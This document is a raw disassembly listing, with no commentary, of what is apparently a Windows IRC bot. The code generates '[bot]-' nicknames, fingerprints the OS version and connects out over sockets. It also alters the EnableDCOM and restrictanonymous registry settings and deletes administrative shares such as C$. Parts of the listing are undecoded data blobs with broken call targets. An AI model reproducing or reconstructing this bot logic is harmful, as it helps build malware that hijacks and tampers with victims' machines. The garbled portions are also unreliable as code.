dword_4389A0 call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43F5E0h, 0C63BF633h, 68501D74h dd 438B64h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 0FBE89057h, 57021BABh, 41598C68h, 8DE89000h, 85023AA8h dd 902975C0h, 21B3FDE8h, 14685002h, 0E800438Bh, 0FFFF6859h dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 0E8905759h, 21BABC2h dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h, 15FF5350h dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h dd 850FC085h, 103h, 438AC868h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh dd 8D500043h, 0FFFBEC85h, 8A7468FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 0E8905056h, 224B2F4h, 69B84D8Bh dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 21CAB1Ch, 0E890EDEBh, 221B272h dd 8A286850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43F5FCh, 0EC858D50h, 68FFFFFBh, 4389E4h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0F70015FFh dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h dd 59000016h, 0D7E89056h, 5B021BA9h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_438BB0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 25D0889h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E81p arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 25D0889h nop push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 25D0889h push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_438C0C push eax push esi nop call near ptr 27A0000h movsx eax, byte_438C0C push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 25D0889h push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 27C03C6h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_438C10 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43C80C mov dword ptr [ebp-94h], 94h nop call near ptr 2771450h nop call near ptr 25D0889h push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_438C1C jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_438C14 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 25D0889h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415C96 mov eax, offset byte_43C80C loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_438C20 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415CC1 mov eax, offset byte_43C80C loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_438BAC loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_438C10 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_438BB0[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43F668 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4450CC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43F6F4 push eax mov edi, offset dword_489DE4 push offset unk_438C2C push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43F700 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E2o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 444EC005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 0AD12E857h, 3B900224h, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 0AA9EE890h, 0B3FF021Fh, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 25D0362h sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43F738, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416013 mov ax, word_439014 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_415FF5 push offset unk_438FD4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_438FA8 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43F68C test eax, eax jz short loc_416095 push offset unk_438F08 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_438EC4 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_438E78 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_438E38 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43F760, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43F5B4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_438CA0 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_438E04 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_438DC8 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_438CC0 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_438D94 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_438D58 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43F6F8 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_438D20 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43F738, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416337 mov ax, word_4391FC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_416319 push offset unk_4391C8 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43919C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43F68C test eax, eax jz short loc_4163B5 push offset unk_439150 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_43910C loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_4390C0 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_438E38 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43F760, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_438CA0 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_439090 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_439058 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_438CB0 jb short loc_416430 call near ptr 27C0A68h nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43F6C8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_439090 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_439058 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_439018 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4450CC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 call near ptr 2630B7Ah nop push eax push offset dword_439244 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax 